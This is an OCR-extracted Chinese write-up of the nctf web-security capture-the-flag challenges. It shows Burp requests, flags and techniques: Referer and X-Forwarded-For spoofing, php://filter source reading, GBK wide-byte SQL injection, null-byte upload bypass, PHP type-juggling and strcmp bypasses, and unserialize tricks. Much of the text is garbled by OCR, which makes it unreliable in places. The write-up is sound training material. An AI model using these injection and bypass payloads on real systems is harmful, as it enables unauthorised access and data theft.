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C [ view-source:chinalover.sinaapp.com/web1/

<html
<titlerkeyTEMPE ¥ <ftitle>
<headr
<meta httr-equiv="contert—type” comterdt="text,/html; charset=uktf-8">
<a style="dizplay:nome”nctf{flag_admiasnazaaaaasaaaal </ a>
<fheads
<body>
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I <Sbody
I <html
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2.md5 collision (50)
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Split URL
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“ Burp Suite Professional vi

Burp Intruder Repeater VWindow Help

[Target Tmey TSpider I Scanner I Intruder I Repeater ISBquenoer TDeou-dBr I-Cumparer I Extender I Options I Alerts ]

_[ Intercept T HTTP history I WebSockets history I QOptions ]

_I' Reguest to hitp:/teamxic.sinaapp.com:30 [202.108.35.250]

P —

[ Forward J [ Drop J l Intercept is on ] l Action J Comment this

| (e porams | eaders [ v |

POST /webl/0ZI298084£0724c042593b4dBe0l7861l5e /index. php HTTPSL. 1

Host: teamxlco. sinaapp. com

Content-Length: 18

Cache-Control: max—age=0

Origin: http: //teanxlc.sinaapp. com

Tpgrade-Insecure-Requests: 1

TUser-Agent: Mozilla/s5.0 (Windows T 10.0; Wing4; x64) AppleWebhFit/537.3&8 (FHTML, like Gecko) Chrome/52.0.2743_82 Safari/ /537
Content-Type: application/x-www—form-urlencoded

Aocept: text/html, application/xhtmltxm], application/xml ;q=0.9, image /fwebp, */*;q=0_8
Feferer: http://teamxlc. sinaapp. con/webl /02230084 £0724004292b4d8c0l78815e/ index . php
Accept-Encoding: gsip, deflate

Accept-Lancuage: zh-CIT, zh;q=0.8

Connection: close

textl=shimakaimen

? < - > Type & search term '
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6.AAencode (100)

tips:javascript aaencode
aaencode &js N i) —FREAI I, w] AR SCE N R S
% T aaencode #MEH JLFRE I 0 77 X

e Perlffippencode

e Rubyf¥jrrencode

SRIZEFEI T http://www.cnblogs.com/android-htmi5/archive/2011/02/09/2533784.htmi
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http://www.cnblogs.com/Wayou/p/chrome-console-tips-and-tricks.html

ABH EUEFE, HE-ITHEAMNRSEEMERZAMNT:

[w ﬂ Elements Console Sources Network Timeline Profiles Application  Security  Audits  » LI 4
® © W F | View 1= ™= | O Preservelog O Disable cache | [ Offline No throtiling v
| |0 Regex [ Hide data URLs [0} | XxHR JS Css Img Media Font Doc WS Manifest Other
60000 ms 80000 ms 100000 ms 120000 ms 14000
Mame Status | Type Initiator Size Time  [Timeline — Start Time 1.00s&
|_| no_key_is_here_forever... 200 docu... search key... 4138 106ms #

BRTE! ! BANEM search_key.php! ! !
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Burp Intruder Repeater Window Help

[ Target TF‘mxy T Spider T Scanner T Intruder T Repeater I Sequencer T Decoder ‘[ Comparer I Extender T Options ‘[ Alerts ]

)

‘ Fitter: Hiding CSS, image and general binary content ‘

# 1.| Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension Title

293 hitp:/115.28.171.154 GET ftestitest.php a O 200 191 text php

254 hitp:#ichinalover sinaapp.com GET | MwebB/search_key php | O O 200 252 HTML php

2895 hitp:/ifchinalover.sinaapp.com GET Swebd/ne_key_is_here_forever.php O O HTWML php

296 http://config. pinyin.sogou.com GET Japi'popupflotus.php?h=5098523760185... = O HTML php

297 http://ping. pinyin.scgou.com GET Jpingback_bubble.gif?h=588523760185... [} O 404 161 HTML gif
< J W

Resore
Jﬂaw I Headers | Hex | HTML I Render ]

Date: Mon, 01 Aug 2016 00:58:52 GHMT
Content-Type: text/html

Connection: close

Via: 10.&7.15.Z2Z2

Content—Length: 100

“soript>window. location=". fno_key is here_forever php": </script>
key iz : nctf{yougetit_ script_ now}

EJ [ZJ EJ EJ Type a search term l}matches-

key is : nctf{yougotit_script_now}
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are you from google?




—F& B8 R E & Mhttp://mww.google.com/ 8 B 3k

X B A B HEE SRR http headerf 7B

X B A A referer7B: HTTP Refererheaderfli—#F4>, 243 8% Fweb IR 5528 K155 KK E %, —&H _EReferer, &iFIR
FRRRNBA T EERIL R, IRSSIB[FAEWAT LRG0 E B TR H.

41123 Referer:https://www.google.com/

Hburpsuit B 5UmiT
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E Burp Suite Professional v1.6.38 - licensed to Larry Lau - [m}
flag:nctf{http_referer}

Burp Intruder Repeater Window Help

[Targa Proxy | Spider T Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Options IAIerts 1

_[ niercept T HTTP history TW&bSDckﬂs history T Options l

# | Request to http.//115.28.150.176:80

{ Forward J l Drop J | Intercept is on Action Comment this item

Raw | Headers | Hex

GET /referer/index.php HITP/L.1

Accept: text/html, application/xhtml+txml, image/jxr, */*

Accept-Language: zh-Hans-CN,zh-Hans;q=0.8,en-US;q=0.5,en;q=0.3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingé4; x£€4) AppleWebKit/537.3& (FHTML, like Gecko) Chrome/4&.0.2488.0 Safari/537.3€
Edge/13.10588

Referer:ht,t,ps:[[ww.googla.com/l

Accept-Encoding: gzip, deflate

Host: 115.78. 150 17&

Pragma: no-cache

Comnection: close

ZFlflag: nctf{http_referer}

9.php decode (100)
HEL#LD, BEALE

gzinflate(base64_decode( ));

< strlen( )5 ++) {

[#1] = chr(ord( -0

eval /M & BRI BOK T eval i A X
evalm] LA AT phpRAS iy DATR B ik fth AT I ey B BSOS 10 F

MAEphp REEIZT, BHER
flag:nctf{gzip_base64_hhhhhh}
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http://www.google.com/
http://blog.csdn.net/linhaiman/article/details/7025336
https://www.google.com/
http://www.cnblogs.com/xiaochaohuashengmi/archive/2010/09/17/1829166.html

IXOE R N ER B T — AN IR

XHRERWE, 5T Tphp/flter

php:/filter B —F it 2638, Bt FEIRRIT I 57k JE R
IF i A1 L AL 2 2 B 7 SRR A SR AR

e include “test.php”php XX B &, FEHATR N B HAM S G F RS EEEK RHE MR BERRE R, Ba] BUE
Fphp:/filteri#t17id 38, R[EIEAO0,1.

o readfile(“test.php”) @K U LR R M RILEUT R, HASWAT, BEEEMENNEE L#TEr. BREERFETHED.
file_get contents(“test.php”)i& [ElE 34 P9 25

UEIE F SR R T B At e K SRR, AT — AR AT SO 85 BB #R1X 4 Finclude “test.php”3k18 KI5t 2 test.php
HEM K. BRIz Hreadfile(‘test.php”) BIARATHENT, SELEEN RSB EHTER. BARBERT HEH

BUERATE R—TFTHATM! ! !
Hi3R T AN ANURL


http://php.net/manual/zh/wrappers.php.php

—F s, SRR ERARMTUESNE S ERFENER, B85 EEFNAG

file=php:/ffilter/read=convert.base64-encode/resource=index.php

RN ES — T EE

TR

1.php:/filter/n] F T AL B AT FF BRI, EEIEIBIEM . WRFETH A phpURE FTEEFERT & A H K.

2. ML RV R, ikt Nbase64#% . (convertbase64-encode) ARG HHL, XN RH A AKI CHE

A LAERT SR .
3. KRS HL AR EVEAEY, EARRARIRHHEH !
BEEFA:
o ETHREE N ERIEETER [ asdf X — x
« C | [ 4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert base64-encode/resource=index.phy w @ ® =

FGhOb¥or+CiAzICABAG] ObGU+TENKE jurv dG1 0bGU+Ci Ag ICAKPD dwa HAKCY VyemOyX3T 1l Syds 1uZ yewk T sECW LnKCELX0dFVF tmaW k1 XS 1 TZWNobyAnPGEzaHT 12 01 L1 SpbnRl eCwaHA/ Zml sZT 1zaG93LnBocCI+{ 2xpTL

E . T baseb44mig! !
pythonf# i st iTm, &

Bl Ch\Windows\system32\cmd.exe - python - O X

(AMDE

flag:nctf{edulcni_elif_lacol_si_siht}
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http://www.cnseay.com/2356/comment-page-1/

EEEEEFER.:

XEEREEKEY , T HEERAY , THEEMCRRA L PSEEEET | TR

[ 0 =5 L s © it {} =imass © i = msE )
@ B ™M css s XHR FR EMg S8k Flash  Hf @ 2/43% 0.18KB, 0.12 % =
BE iz i e Cookie a5 WAL e
302 GET index.php e e e ahiht: http: //chinalover.sinaapp.com/web9/index. php
® 200 GET no_key_is_here_forever.php # chinalover.sinaaj RS GET

iEtShhht : 202.108.35.258: 80
$5E: A 302 Found
R : HTTP/1.1

Es

\-‘UIIWI .I.-Ellglulli w

Content-Type: "text/html|"

Date: "Mon, 01 Aug 2016 05:57:52 GMT"

Location: "http://chinalover.sinaapp.com/web8/no_key is_here forever.php”
Server: "sag"

Via: "10.67.15.48"

flag: "nctfithis_is_302_redirect}”

L

flagit 7E BR B nctf{this_is_302_redirect}
B ] B — T8 R

12 .Download~! (200)

BE TH IR :

T #78 #download.phpfSH5, W TF:



YR T —A 3 fhhereiskey.php, fhiitflagit e B, ST
URL: way.nuptz.cn/web6/download.php?url=aGVyZWIza2V5LnBocA==
13 Bflag A5

flag:nctf{download_any file 666}
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TIP:

0==not

tipfRE Hmk, O==not, Mith1==yes
ERTEB%cookie T, Fhttptk:k

* | Headers | Preview Response Cockies Timing

Wid, 4AU.UJ.1J.%0

¥ Request Headers view source
Accept: text/hitml,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q
=8.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;g=0.8
Cache-Control: max-age=08
Connection: keep-alive
Cookie: Login=08
Host: chinalover.sinzapp.com
Referer: http://ctf.nuptsast.com/challenges
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.@ (Windows NT 18.8; Win64; x64) AppleWebKit/537.36 (KHTM
L, like Geckao) Chrome/52.8.2743.82 Safari/537.36

OK H HI1R BA
f&¥cookie
BRI



F F chrome H 7 i cookie T. &

C' [ chinalover.sinaapp.com/web10/index.php

flag:nctf {cookie_is different_from session) & ol £ smic ]E[ D + ») (= Q

® 0 ™Y

~ chinalover.sinaspp.com | Login

&
| 100 ms 20/ A 1

ther

10001
1%}
4|
Name e 100k
[ ] index.php chinalover.sinaapp.com
BEiE
fwebl10
12HER i
01/08/2017 02:27 PM
hastOnly [« session [ FE httpOnly
LV g #ah
F F burpsuit B #1& 5t
flag:nctf {cookie is different from session}
E | Burp Suite Professional v1.6.38 - licensed to Larry Lau - O X
Burp Intruder Repeater Window Help
[ Target I Proxy T Spider ]' Scanner ]' Intruder I Repeater I Sequencer I Decoder I Comparer ]' Extender I Options ]' Alerts ]
J int it T HTTP history I WebSockets history I Options ]
,e@ Reguest to hitpiichinalover.sinaapp.com:80 [202.108.35.224]
[ Forward J l Drop J [ Intercept is on ] Action e 2
Raw | Params | Headers | Hex
GET /webhlO/index.php HTTP/1.1 A
Host: chinalover. sinaapp. com -

Cache-Control: max-age=0

Upgrade-Insecure-Eequests: 1

User-Agent: Mozilla/s5.0 (Windows NT 10.0; Winéd4; x&4) AppleWebKit/537.3& (FHTHML, like Gecko) Chromes/52.0.2743_ 87 Safari/L37.36
Accept: text/html, application/xhtml+txml , application/xml;q=0.5, image /webp, */*;q=0.8
Referer: http:/ ctf nuptsast. com/challenges

Accept-Encoding: gzip, deflate, sdch

Accept-Lancguage: zsh-CN,zh;qg=0.8

Cookie: Login=1

Comnnection: close

flag:nctf{cookie_is_different from_session}

14.MYSQL (200)

— ERMAEANIEE: robots.ixt
XEHFER

& Rrobots .ttt FLL



http://baike.baidu.com/link?url=_4Feorj9kcGoS9ooWZ9w5Ti-rrA0TSZvWuPHQHMwx9BzJlWExmqhIOEwFFwU6tIQpk2GcQ2VTGiw34UOhIUFosvOh4dhrtU_dN0iPWM12ItrtNs95EGjmjk9_Q1RL5Qv

<« C  [1 chinalover.sinaapp.com/web11/sql.php?id=1024.1|

the flag is:nctf {query_in_mysqll

flag is:nctf{query_in_mysql}

15.sql injection 3 (200)

KBTI TsqREN, FTHFA~~~
EB LY

o C [1 115.28.150.176/sqli/index.php?id=1

HiTH)sqliET) . SELECT id, title FREOM news WHERE ig="1'
id: 1 title: just_a_ test

LR ikid=28, WA H SR T

<« C [ 115.28.150.176/sqli/index.php?id=2

AT sqliE T . SELECT id, title FEOM news WHERE ig="2'
id: 2 title: gbk_sgl _injection

title: gbk_sql_injection
gbkEFWENNBE, X BABEEREREFITEN
EH—A


http://www.2cto.com/Article/201301/182881.html
https://www.91ri.org/8611.html

B H s Nid=" M2 BRpid="\"RER B EZHE LT .
XRBATVIAId=%dF or 1=1#

€« C [0 115.28.150.176/sqli/index.php?id=%df%270r%201=1%23

AT sqliEE) . SELECT id, title FEOM news WHERE id="1& or 1=1#
id: 1 title: Just_a_testid: 2 title: zbk_sql_injectlon

RERERIT , \&T

BRI newsHHE FE B 3 ¥ A flag~~~

BITZE, RWT MagiE E (A ERREEAER, KD HE bunion&if]
URL: index.php?id=%df%27union select *,1 from flag%23

H#EE Hflag

£ i —A 4% N index.php?id=%df%27union select * from flag%23 it

< C [0 115.28.150.176/sqli/index.php?id=%df%27union%20select%20*%20from%20flag %23

HATHIsqliEH : SELECT id, title FROM news WHERE id= i& union select * fram | % O]  Elements Conse

flagh ® O w 7| view |
ErrorThe used SELECT statements have a different number of columns

[ Fitter [O R

" 1000000 ms
ErrorThe used SELECT statements have a different number of columns
Y BARMAFBRR, index.php?id=%df%27union select * 1 from flag%23
M4
union 1 J&
1. Bl 5B E VIR
BEHHRNEZERERE - IMERFHFER

FBMUEERSRENE N EANGEREZES N SERENET
WRE-ANBHABAERE, WERHNERE-NEANSERE

A w0 b

A k. flag: nctf{gbk_3sqli}

16./x00 (200
R —EFE !

HIERA IR



ereg iR
stropsi¥£fi#
X Heregf BRI

1. %00 W A2 38 1 %00 ) BRIA N 75 B8 [ 45 7R
2. UntF A% S KR [E{E R R FALSE

Bt AR AN 7 v £ BUXE & B
1.41d=1%00%23biubiubiu
2.4 ncttNEA N, nct=111

B«

1. === {FAWE
2. ! == (0! ==false Atrue)

5 Y _EIXE R E fE R

<« C' [ teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=1

Warning: strpos() expects parameter 1 to be string, array given in webd/f5aldf5e6e3453b78cd73899bad08d53/index. php on line 10
Flag: flag:nectf luse_00_to_jieduant

€ C' [3 teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu

Flag: flag:nctf fuse_00_to_jieduan}

flag:nctf{use_00_to_jieduan}

17.bypass again (200)

HKIH R 55388
BRI RA I phpi iR


http://wiki.jikexueyuan.com/project/php/regular-expression/ereg.html
http://www.php.net/manual/zh/function.strpos.php

$_GETH LA Z A EMDS
md5 O ASREAbFEA 451 K i
F A iR IR M & index.php?a[]=18&b[]=2

€« C'  [I chinalover.sinaapp.com/web17/index.php?a[]=18&b[]=2
if (isset($3.GET[ 2’ 1) and isset(3.GET[ B’ 137 {

if (3.GET["a’] != 3. GET['b" 1)

if (md5($_GET[ a"]) === mdb($_GET[ b 1J)

die(’Flag: ~. 3flag);

else

print *Vrong.

1

Flag: nctf fphp

Flag: nctf{php_is_so_cool}

18 EE % (200)

HE ARG

1% B A extract ] &
S HIRU Zextract() BN AHTKEZES NI LITHF SR,
WAL EE S


http://www.w3school.com.cn/php/func_array_extract.asp

“,7:‘_“:", 'SQLt et e ,:-En_:'udiﬁ.g-: Other

(UL 1ttp.// chinalover.sinaapp.com/web18/index.php

Srzbils demiatg [ Huisls iz
Hugt skt pass=1&thepassword_123=1

The Ducks

nctf{bian_liang fu_gai!}

flag:nctf{bian_liang_fu_gai!}

19.PHPR it} L& IFHIES (250)

IR

W — T RIA P AW %A

url :http://way.nuptzj.cn/php/index.php?id=%2568ackerDJ

flag: nctf{php_is_best_language}

20.f5% % (2500


http://way.nuptzj.cn/php/index.php?id=%252568ackerDJ

C' [} chinalover.sinaapp.com/web4/xxx.php

ok ok ok ok ok ok ok ok ok ko ok ok ok ok ok ok Kk %k ok ok ok K ¥
EERHHETEENE
EFR LG L3RI

EINE I B N A R TR N R N R R A

A A EFATITEE flag?

XA E B, B G htp kA PR T

e Firefox modify headers

@ Modify Headers

— O 4
T &k umB
Start Headers Options About Help
Select action Add Reset
Action Name Value Comment Edit
Add X-F ded-F 127.0.0.1
orwarded-For ® Delete
Move to Top

H #burpsuitE W in x-forwarded-for:127.0.0.1

X | [3 chinalover.sinaapp.com/web4/xxx.php

E Burp Suite Professional v1.6.38 - licensed to Larry_Lau

Burp Intruder Repeater Window Help

ok ok kK ok K ok K ok K Ok K K K K Kk K ok K ok K Ok k ok Target | Froxy | Spider | Scanner T Intruder I Repeater I Sequencer I Decoder I Comparer I Extender T Options | Alerts

EERFORETT SR J ot T HTTP history IWebSDckﬂshstnw T Options ]

ERGIHEEE N E’J Request to http:ichinalover sinaapp.com:80 [202.108.35.225]

************************{ Forward Jl Drop J[\ntemept'snn] Action

Raw | Headers | Hex

netf thappy_http_headers)

us
s
-

GET /webd/xxx.php HTTP/1.1

Host: chinalover.sinaapp.com

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozillas5.0 (Windows NT 10.0; Wing4; zé4) AppleWebKit/537.38 (FHTML, like Gecko) Chrome/52.0.2743.82 Safaris537.38
Accept: text/html,application/xhtmltzml, application/xml;q=0.9,inage/webp,*/* ;q=0.8
Referer: http://ctf.nuptsast.com/challenges

¥-Forwarded-For: 127.0.0.1

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh—CN,zhiq=0.8

Connection: close

nctf{happy_http_headers}

21.Header (250)

¥




X i low
BEEEHRK

Mame * | Headers | Preview Response Timing

I I E—
Connection: close
Content-Length: 132
Content-Type: text/html; charset=UTF-8
Date: Tue, 82 Aug 2816 @@:41:44 GMT
Flag: nctf{tips_often_hide_here}
Server: Apache/2.2.15 (Cent0S)
X-Powered-By: PHP/5.3.3
¥ Request Headers view source
Accept: text/hitml,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q
=@8.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
1 requests | 359 B transferred | Fi.. Cache-Control: max-age=@

flagi 7 H
nctf{tips_often_hide_here}

22. b5l (250)

WE % BT — M jpg 3 i
GRS R IX LR

drray  [0] => .jpz [1] => jpz ) Upload: 1. jpg

Tvpe: image/jpeg

Size: 1. 64550781525 Kb

Stored in: . fuploads/2a%5fBaTa78%achk. phparrayv(4) { ["dirname”]=>
string (9) 7. fuploads” [“basename”]=> string(5) “1.jpg” [Mextension”]=>
string(3) "ipz” [“filename”]=> string(l) “17 }

AR _E A% Rl SR B35 P ph B ST A AT |

AR php ST A AT !



SR JE A% 1 . phpC i
R JE R B PR S RIX AR

Array ( [0] => .php [1] => php ) AWEAIFRISCHER (N E3% 15 jpg, gif, png
TSGR

R ¥ B4 jpg, GIF, pngJs &

X RIRBRE A% jpg i SCHE MR AN . php I SCE, B4 BRI ? 2 2
BB —MERIRNEREL RA X HEELY

B RMRIE . /Juploads B 3% T fbasename 4T iR I

TEIRAT] _EA% &< H 3. /uploads

—————— WebKitFornEoundaryxEF1ZTnenx0V53ci
Content-Disposicion: form-data; name="dir"

Suploads/

—————— WebKitFornEoundaryxEF1ZTnenx0V53ci
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

2385 78 /uploads/ T INOX00FFF BT 461X 4 5 /uploads/1.php
)5 filename="1.jog”
REEWT

drray  [0] => .jpz [1] => jpz ) Upload: 1. jpg

Tvpe: image/jpeg

Size: 1. 64550781525 Kb

Stored in: . fuploads/2a%5fBaTa78%achk. phparrayv(4) { ["dirname”]=>
string(9) ”. fuploads” ["basename™]=> string(12) “l.php 1. jpg”
["extension”]=> strins(3) "ijpz” [“filename”]=> string(®) “l.php 17 }

AR _E A% Rl SR B35 P ph B ST A AT |

basename 4 1.php 1.jpg

OK

TR E X B —/NM Wi /uploads/1.php0x00
JiEmn R



o Fburpsuit &% #r

—————— WebKitFormBoundaryxEF1ZTneEnx0753ci

Content-Disposition:

JSuploads/

form—-data; name

="dir"

—————— WebKitFormBoundaryxEF1ZTneEnx0753ci

Content-Disposition:
Content-Type:

form—-data; name="file";

application/octet—-stream

filename="1_php"

7t /uploads//E N E1.php GX B R ZFH&IFFRR)

o R IThexél I 2 4% & 20

| #| Request to hitp:iteamxic.sinaapp.com:80 [202.108.35.224]

| Forward Drop Intercept is on | Action ent this ite |=.| |
[ Raw T Params T Headers | Hex

1d 61 74 69 6f Ge 2f 73 6d 6 3b T 3d 30 2e 39 2c ation/xml,g=0.9,

1e 69 6d 61 67 85 2f 7 65 62 7o 2c 2a 2f 2a 3b 71 image/webp,**q

1 3d 30 2e 33 od Oa 52 B85 66 B85 72 B85 72 3a 20 i) =0.8Referer: h

20 74 74 70 3a 2f 2f 74 B85 61 &d 78 Bc 83 2e 73 89 tpeliteamxlc.si

2 Ge &1 61 70 70 2e 63 6f 6d 2f 77 65 62 35 2f 32 naapp.comiweb52
22 3 32 33 32 66 32 39 ar 61 35 a7 &1 35 g1 ar 2 1232f287a5Ta%ar4
23 33 35 39 34 61 30 55 34 61 33 30 3 (] 53 33 2 3804aledad0lfcd/
24 69 Ge 54 [ 73 28 53 T4 6d i1 0d Oa 41 63 63 65 index.html&cce

25 70 T4 2d 45 e 63 &f 54 69 e 67 3a 20 &7 Ta L] pt-Encoding: gzi

26 70 2c 20 64 B85 66 Bc 61 74 B85 0d Oa 41 53 83 85 p, deflateAcce

27 70 74 2d dc 61 Ge &7 75 61 &7 65 3a 20 7a 68 2d pt-Language: zh-
28 43 de 2c 7a 68 3b 71 3d 30 Ze 38 od Oa 43 [1 Ge CN,zh;gq=0.8Con

29 Ge 85 63 T4 &9 6f Ge 3a 20 63 6c &f 73 65 0d Oa nection: close

2a 0d 0a 2d 2d 2d 2d 2d 2d 57 65 52 4b 69 T4 45 [ ——WebKitFo

2b 72 [ 42 6f 75 Ge 54 61 72 79 56 4b 35 65 79 57 rmBoundaryVKSeyW
2c de 35 35 61 75 74 Ehl 33 63 4f 0d Oa 43 &f Be T4 N&Sautg3hOCont
2d B85 Ge 74 2d ) 69 73 70 6f 73 69 T4 69 L1 Be 3a ent-Disposition:

Ze 20 86 6f 72 &d 2d 54 61 74 61 3b 20 Ge &1 &d 85 form-data; name

2f 3d 22 54 69 T2 22 od Oa 0d Oa 2f 73 7o [ Bf 61 ="dir/uploa

30 64 73 2f 31 2e 70 58 70 Ro Jua 0a 2d 24 2d 24 2d ds/1.php —

H 2d 57 65 62 4b 69 T4 45 6f 72 6d 42 6f 75 Ge 54 -WebKitFormBound
32 61 72 79 56 4b 35 B85 79 57 de 35 35 61 75 74 il aryVKSeyWN&Sautg

o REIZEHRHBHON00 £ B EHIA

LR 32

—————— WebKitFornEoundaryVEEeyWITE § aut g3kl

Content-Disposition:

Suploads /1. phpO

form—data; name="dir"

—————— WebKitFornEoundaryVEEeyWITE § aut g3kl
form—data; name="file";

Content-Disposition:
Content-Type:

NG EERI

image/ipeqg

flag:nctf{welcome_to hacks_world}

23.5SQLIEA1 (300D

HEERG

filename="1_jpg"




X B A trim R R

IxX B B3 v A B P o AR AR

XTERR o+ — N2

ENFESTHR, B—HEEL

B8 B AN Flpassword o<

user=admin J# IFERBTE S ER AR B2 HBEIH
AL

Secure Web Login
Warning: mysal_fetch array() expects parameter 1 to be resource, boolean
ziven in index.php on line 14

Tou are not admin!

admin ':'# -------- [ #Ex [

Source

flag:nctf{ni_ye hui_sql?}

24.pass check (300)

HERHZOH
A tip:stremp(array,string)=null=0



http://www.w3school.com.cn/php/func_string_trim.asp

tip— H X R B A XEE T
BB fEpass MR Kpass[l=1
look

(S5 Encyplon'. Encoding Other
o http://115.28.150.1 Gfstrcmpfindex.php

flag:nctf{strcmp_is_n0t 3afe}

flag:nctf{strcmp_is_n0t_3afe}

2584 FHME (300)
ARSI T -

S — T RIBEiEnumber == '54975581388’, 3 H.numberfg AN F 7 5°54975581388' #A[F, XEREH T »
AERELIRT b 75 N HiAH S5 4 A a3k o
Hegt5ukd 7



54975581388==0xccccceece
FFBAURL: http:/chinalover.sinaapp.com/web12/index.php?key=0xccceceecee
The flag is:nctf{follow_your_dream}

26. % EE (300)

B5EEURL: http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNIcg%3D%3D
userl &4 5, B HAbase64fB% 2 Ja Was JFR & ctiuser
BEELEEAZURMTAT

3 | hitp://nctf.nuptzj.cn/web13/index.php
Puser1=YWRtaW4%3d

1
Epteitlla Heogialog [ Ewslbls faidnas

Hergd skt user=admin&newpass=18vcode=1234

flag is:nctf{reset_password _often_have vuln}

{FEUMES - |ctfuser |

IEIIERS 1234

==

27.php & 7514k (300D
AR



http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc
http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg%253D%253D

XEA IR FIIKIRHE
BRERE R — A F A E PR B F ER PR BIRARFMER, X—TFTHEE T 5H a=8&b

B E I T HE 7 I 75 & -

OK flag Hi sk

<« C | [0 115.28.150.176/php1/index.php?pass=0:8:"just4fun”:2:{s:5:"enter”;N;s:6:"secret”;R:2;}

Congratulation! Here is my secret: nctf {serialize_and unserialize}

flag: nctf{serialize_and_unserialize}

28.sql injection 4 (300)

HZERNME:


http://blog.csdn.net/21aspnet/article/details/6908318

FHEhtmlentities($str, ENT_QUOTES)
XE—NEFSEWE. ROVREBINEBRNMBESISHET, BRABEHENFHNZHET ST . BAREKE? ?


http://www.w3school.com.cn/php/func_string_htmlentities.asp

o RAEAMBE T — NI

SELECT * FROM users WHERE name="\" AND pass="or 1=1 #",

R =S X EHlE @ Eas
FE  EE Sk

W Mg HTML €S8 IS XHR

test.php?username=\&password= or 1=1 #

oes NEIZEE

@ 14F%, 0.051

ITEEREET
v EEFHS

username: "\"
password: " or 1=1 #"

BLAE I mysql & #1842 B 7 SELECT * FROM users WHERE name="\" AND pass=' or 1=1 #;
tip: FEmysqEWIEATE N ZHAS5HE WME NS N E3 SRS 5ME A B3| SME=/1$H5] 5 A&

name="\" AND pass=’
WG R T HEK or 1=1
GR-THERT

€ - C [3 chinalover.sinaapp.com/web15/index.php?username=\&password=0r%201%3d1%23

flag:nctf{sql injection_is_interestins}

flag:nctf{sql_injection_is_interesting}

29.34 /8 (3000

[w ﬂ Elements Console Sources
® O W YT | View I=E = O

. |I:| Regex [ Hide

500 ms




tip:bash
TH—FB X R A Wljotherdi i
chrome consolef#ig 15 :

= = € [ teamxlcsinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/index.php w @&

[w ﬂ Elements Console Sources Network Timeline Profiles Application Security Audits »

® ¥ top ¥ [ Preservelog
LT LT L T L LT L LT LT LI L e LI d LI 6 LI § LT LI 0 LI L I LT L T LT § LI i L™
[+ I LI+ [+ LI+ LI+ L DD LI+ LD+ LT T+ DI+ LD [+E D1+ (LR L0+ D) [+ 01T+ (L LI+ 0D [+ L]0+
seanpedl el bt ranbietisiapis et s ta s iatiwialin etis i e s nbisisasi s Lat i ab I EIs e bl g
[1+ L1+ DT+ ({3 IO P ID= 0 D=L LT+ T L0+ L+ DD [+ D0+ D0+ DO0 LT+ [ LD+ T+ DD+ ({2+ 1)
[ LI+ LI I+ I+ LI+ I D) L+ LTI DL+ L L LT+ T+ LD+ LD+ LTI+ ({0 LT [+ LD T+ (L3I LT3+ 01D
[+1![]]*‘“[]*[2)[!![]“'i![]*!15]]‘*(!E[]+[])[“'E]]"‘<13[3*‘[])[”!E!]"‘({}[[!]"‘[])[‘*[}]*‘({}*‘[:\l)[1![]+!![]"‘H

1bc29b36f623ba82aaf6724fd3b16718.php
BT

€ - C [ teamxlcsinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php i )

[® (1] | Elements Console Sources Metwork Timeline Profiles Application Security Audits »

fr A V3 ot N
uﬁuﬁuﬁl}%l}%uﬁ.?J\J:élm ’ JXE‘{_[_‘/A%B& ® © W Y  View I= ™ | [ Preservelog [J Disablecache [ Offline No throttling v
ﬁ ’ TIPE&H@[‘%E‘ [fter |0 Regex [ Hidedata URLs @ XHR JS €SS Img Media Font Doc WS Manifest Other

50000ms  100000ms 150000 ms 200000 ms 250000 ms 300000ms 350000ms 400000ms 450000ms 500000 ms 55

Name % | Headers | Preview Response Timing

[] 1bc29b36623ba82aaf6724fd3... | ¥ Response Headers view source
Connection: keep-alive
Content-Encoding: gzip
Content-Type: text/html
Date: Tue, @2 Aug 2016 @4:24:58 GMT
Server: sae

ﬂ istory of bash|

Transfer-Encoding: chunked

Ftip:history of bash
M4 T — TFhistory of bash

bash historyBHSE - Linuxi2{EZESE. Ubuntu Centos De... £TZEEfEE
EGAEN T SR TEERE ~/ bash_history 30, HRINTFHIRES bash_ .. of service, to

gnore this command from history] # history | tail -3 ...
www.2cto.com/os/201107... ~ - BETREE - 9550

2T nivil i KEESAYTR AR hictand hach  hictan

/.bash_history 344
FRITH

€ - C [ teamxlcsinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/ .bash_history]
[w ﬂ Elements Console Sources Networl

® ® B 5 | View: 8= ™= | [J Preserw

zip —r flaghak. zip ./ *

|:':er ||:| Regex [ Hide data UR

H B zip -r flagbak.zip ./*

#1 LURL: http://teamxic.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip
H3I F# 7T flagbak.zip

fi# s B i A flag

flag is:nctf{bash_history_means_what}

30.SQLEA2 (400)


http://www.ilrose.com/blog/2015/07/08/jother%25E7%25BC%2596%25E7%25A0%2581/
http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip

tip: HEANF ZE~~FEHRunionE

FEE ARG

Secure Web Login IT [w E Elements Console Sources Network Timeline Profiles Application Security Audits »

i i i ® O W 7 | View = = Preserve log Disable cache Offline  No throttling v
Logged in! Key: ntef lunion_select_is_wif} - =

Regex Hide data URLs I[N | XHR JS €SS Img Media Font Doc WS Manifest Other
" union select md5(1§# . fr 3

100 ms 200 ms 300 ms 400 ms 500 ms 600 ms 700 ms 800 ms 900 ms 1000 ms

Source

Name X | Headers | Preview Response Timing
B e e e

Cache-Control: max-age=8

Connection: keep-alive

Content-Length: 42

Content-Type: application/x-www-form-urlencoded

